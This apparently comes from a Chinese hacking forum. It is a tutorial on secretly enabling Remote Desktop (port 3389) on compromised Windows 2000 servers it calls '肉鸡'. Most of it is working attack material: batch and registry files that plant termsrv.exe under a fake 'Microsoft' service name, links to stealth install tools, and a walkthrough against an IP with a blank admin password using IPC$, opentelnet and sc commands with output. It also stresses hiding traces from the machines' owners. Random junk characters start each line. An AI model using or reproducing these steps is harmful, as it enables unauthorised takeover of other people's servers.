[hide=60] 1.打开记事本,编辑内容如下:
/}A"F[5 echo [Components] > c:\sql
t 66Cx echo TSEnable = on >> c:\sql
+9Q,[)e r sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q
_#32hAI 编辑好后存为BAT文件,上传至肉鸡,执行。这里值得注意的是要确定winnt是否在c盘,如果在其他盘则需要改动。
nMm4fns " E+V>V+ 2 (对xp\2000都有效) 脚本文件 本地开3389 工具:rots1.05
E| eEAa
地址:
www.netsill.com/rots.zip -([
ipg(r 使用方法:
"i>?Tg^ 在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本,例如:
hK^(Y /c2|
*"@X c:\>cscript ROTS.vbs <目标IP> <用户名> <密码> [服务端口] [自动重起选项]
1OI/!!t1$ t Sibzl~ 服务端口: 设置终端服务的服务端口。默认是3389。
-wr#.8rzTT 自动重起选项: 使用/r表示安装完成后自动重起目标使设置生效。
"3 Y(uN 使用/fr表示强制重起目标。(如果/r不行,可以允哉飧觯?BR>使用此参数时,端口设置不能忽略。
wr);+.T9R 比如扫描到了一个有NT弱口令的服务器,IP地址是222.222.222.222,管理员帐户是administrator,密码为空
]M3V]m 运行CMD(2000下的DOS),我们给它开终端!
y
buKwZFC 命令如下!
EZs"?A cscript reg.vbe 222.222.222.222 administrator "" 3389 /fr
zI-]K,! 上面的命令应该可以理解吧?cscript reg.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为222.222.222.222 这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以 /r,这是普通重启)
>_XC F(h
jP 脚本会判断目标系统类型,如果不是server及以上版本,就会提示你是否要取消。
~]f6@n 因为pro版不能安装终端服务。
Q$,AQyBlqc 如果你确信脚本判断错误,就继续安装好了。
RZMR2fP% X5U#^^O$E% 如果要对本地使用,IP地址为127.0.0.1或者一个点(用.表示),用户名和密码都为空(用""表示)。
{:=sCY! [}>!$::Y 脚本访问的目标的135端口,如果目标135端口未开放,或者WMI服务关闭,那么脚本就没用了。
h;TN$ / -sjyv/%_ [vv $"$z 3,下载3389自动安装程序-djshao正式版5.0
7:/gO~gI 地址
www.netsill.com/djshao.zip <|-da&7 说明:
T)c<tIr6 解压djshao5.0.zip,用你的随便什么方法把把解压出来的djxyxs.exe上传到肉鸡的c:\winnt\temp下,然后进入c:\ winnt\temp目录执行djxyxs.exe解压缩文件,然后再执行解压缩出来的azzd.exe文件,等一会肉鸡会自动重启!重启后会出现终端服务!
,J;Cb} tzIcR
#Z 特点:1、不用修改注册表的安装路径,注册表会自动修改,安装完后会自动恢复到原来的安装路径,2、在后台安静模式运行,就算肉鸡旁有人也没有关系!3、在添加和删除中看不出终端服务被安装的痕迹,也就是启动终端前不会打钩,4、不会在肉鸡上留下你的上传文件,在安装完终端服务后会会自动删除你上传到c:\winnt\temp下的任何文件!5、不管肉鸡的winnt装在什么盘上都无所谓!6、安装完终端后会删除在管理工具中的终端快捷图标!7、在没有安装终端前,终端服务是被禁止的!安装终端后,终端服务被改为自动!但是如果在安装前终端服务是手动!安装后就可能还是手动!等重启后就不会打开服务!所以在软件中加了sc指令,等安装完后,不管终端服务是禁止还是手动还是自动,全部改为自动。8、自动检测肉鸡是不是服务器版,如果不是删除原文件,不执行安装,如果是服务器版就执行安装!9、支持非法内容,请删除韩繁四个版本的win2000服务器版!
CghlyT \-?0ab3Z Cb}I-GtO 4.下载DameWare NT Utilities 3.66.0.0 注册版
ehTrjb3k 地址
www.netsill.com/dwmrcw36600.zip
zSd!n 安装注册完毕后输入对方IP用户名密码,等待出现是否安装的对话框点是。
Ww=^P{q\ 复制启动后出现对方桌面。
w'uB&z4' 在对方桌面进入控制面版,点添加或删除程序。进入后点添加/删除windows组件,找到终端服务,点际进入后在启动终端服务上打上勾。确定自动提示重起,重起后OK。
6W\G i> q4MR9ig1E_ {,NF'x4$ 5.
76oJCNY d#8 n<NM 首先我们制作开启3389的工具
[&(~{#}M: 先把下面的注册表内容copy一份,另存为3389.reg注册表文件
j+"w2 注册表内容:
WUBI(g\ Windows Registry Editor Version 5.00
Am
~P$dN [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
{,+{,Ere "Enabled"="0"
8sus$:Ry [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
_DouVv> "ShutdownWithoutLogon"="0"
Q{[l1: [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
sHqa(ynK "EnableAdminTSRemote"=dword:00000001
G!T_X*^q2U [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
,>p1:pga "TSEnabled"=dword:00000001
aS! If > [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
!i>d04u`% "Start"=dword:00000002
]\Z8MxFD [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]
-DuI
6K "Hotkey"="1"
'fjouO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService]
[s{ B vn
"Start"=dword:00000002
<N{wFvF "ErrorControl"=dword:00000001
XCyU)[wY "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
vSnGPLl 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\
emSky-{$u 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00
(b;Kl1Ql] "ObjectName"="LocalSystem"
zC,c9b "Type"=dword:00000010
X$2f)3 "Description"="Microsoft"
zJ6""38Pr "DisplayName"="Microsoft"
%?hvN 再把下面的内容保存为批处理文件3389.bat
y{KYR) 安装批处理内容:
q6PG=9d0B copy termsrv.exe eventlog.exe
S4U}u l regedit.exe /s 3389.reg
Cs4ks`Z18 del 3389.reg
~^TH5n del 3389.exe
R53^3"q~ del 3389.bat
Xp+lpVcJ 用winrar制作成exe自解压缩包
1/f{1k lqTc6@:D 61.188.***.*** user:administrato pass:空
r2*8.j51 先使用工具letmein判断其操作系统
NkV81? letmein \\ip -all -d
A?bqDy TsInternetUser (TsInternetUser)这个是2000的终端用户,现在可以判断其为2000server了
uH&B=w 再使用终端登陆软件看看他的3389是不是已经开启了免了费事折腾
t6uYFxE 应该没有开启了
b>2{F6F 建立ipc连接
ZkJLq[:cM copy工具过去
VqUCcT net use \\ip\ipc$ "pass" /user:name
PI.Zd1r copy file \\ip\admin$\system32
QWc,JCu 用opentelnet开对方的telnet
xa'^:H $X opentelnet \\ip name pass 1 99
*Z$W"JP 用telnet进入
ck< `kJ`b 进入到对方的winnt\system32\
~t<G gNI 目录
!bCSt?}@u 解压缩3389.exe
j{j5TvsrY 运行安装批处理3389.bat
-UM|u_ 现在我们把对方重起一下,用reboot
..kFn!5(g bcq&yL'D 9W0*|!tQ,+ dS8ydG2 9
JhCSw-<) 7.
u`ryCZo#g q3vv^~ 检查对方是否真的禁用了Terminal server
G6.lRaPu"m C:\>sc \\xxx.xxx.xxx.xxx qc termservice
?b:Pl{? [SC] GetServiceConfig SUCCESS
-{}h6r SERVICE_NAME: termservice
y/E:6w TYPE : 10 WIN32_OWN_PROCESS
boI&q>-6Re START_TYPE : 4 DISABLED
DaQ+XUH? ERROR_CONTROL : 1 NORMAL
NB4Q,iq$ BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe
'?jsH+j+ LOAD_ORDER_GROUP :
+_L]d6
TAG : 0
OwT _W)$ DISPLAY_NAME : Terminal Services
A=0{}B# DEPENDENCIES :
a>6D3n
W SERVICE_START_NAME : LocalSystem
-g."{| 仔细看 START_TYPE一项,显示对方该服务的启动模式为“DISABLED”也就是“禁用”。
2F+"v?n=\ ^mg:<_p GM8Q#vc C:\>sc \\xxx.xxx.xxx.xxx config termservice start= auto
h
w^
V [SC] ChangeServiceConfig SUCCESS
U9\\8 好了,现在我们已经把对方终端服务的启动模式修改成自动了。
wz)s oI!"F=?&6 gW<6dP'v otdRz<C 再检查一便对方终端服务的启动模式
Gy[anDE& C:\>sc \\TEST qc termservice
m_;fj~m [SC] GetServiceConfig SUCCESS
O,Tp,wT SERVICE_NAME: termservice
q9dplEe5 TYPE : 10 WIN32_OWN_PROCESS
Zs]n0iwM'@ START_TYPE : 2 AUTO_START
BT&R:_: ERROR_CONTROL : 1 NORMAL
gxhdxSm=2 BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe
+HPcvu?1 LOAD_ORDER_GROUP :
k33\;9@k TAG : 0
P z~jW):E DISPLAY_NAME : Terminal Services
#IZ.px DEPENDENCIES :
064k;|>D SERVICE_START_NAME : LocalSystem
RcO"k3J tfe]=_U 0%Le*C'yk F b?^+V]9 启动对方的终端服务
{_-T! yb C:\>sc \\xxx.xxx.xxx.xxx start termservice
w\MWr+4 SERVICE_NAME: termservice
4/%fpU2 TYPE : 10 WIN32_OWN_PROCESS
t
V(
WhP STATE : 2 START_PENDING
O\ _ro. (NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
`<|tC#<z WIN32_EXIT_CODE : 0 (0x0)
\gA<yz-;N SERVICE_EXIT_CODE : 0 (0x0)
'#yqw% CHECKPOINT : 0x1
>DUTmJxv WAIT_HINT : 0x7530
n
7i5A: hsQDRx%H} ;<q2 C:\>sc \\xxx.xxx.xxx.xxx query termservice
!d<R=L SERVICE_NAME: termservice
IIih9I`IR TYPE : 10 WIN32_OWN_PROCESS
KJV8y"^=Q STATE : 4 RUNNING
tT!'qL.* (NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
[|ZFei)r WIN32_EXIT_CODE : 0 (0x0)
yuy\T(7BN SERVICE_EXIT_CODE : 0 (0x0)
!(7m/R CHECKPOINT : 0x0
=}%#j0a4 WAIT_HINT : 0x0[/hide]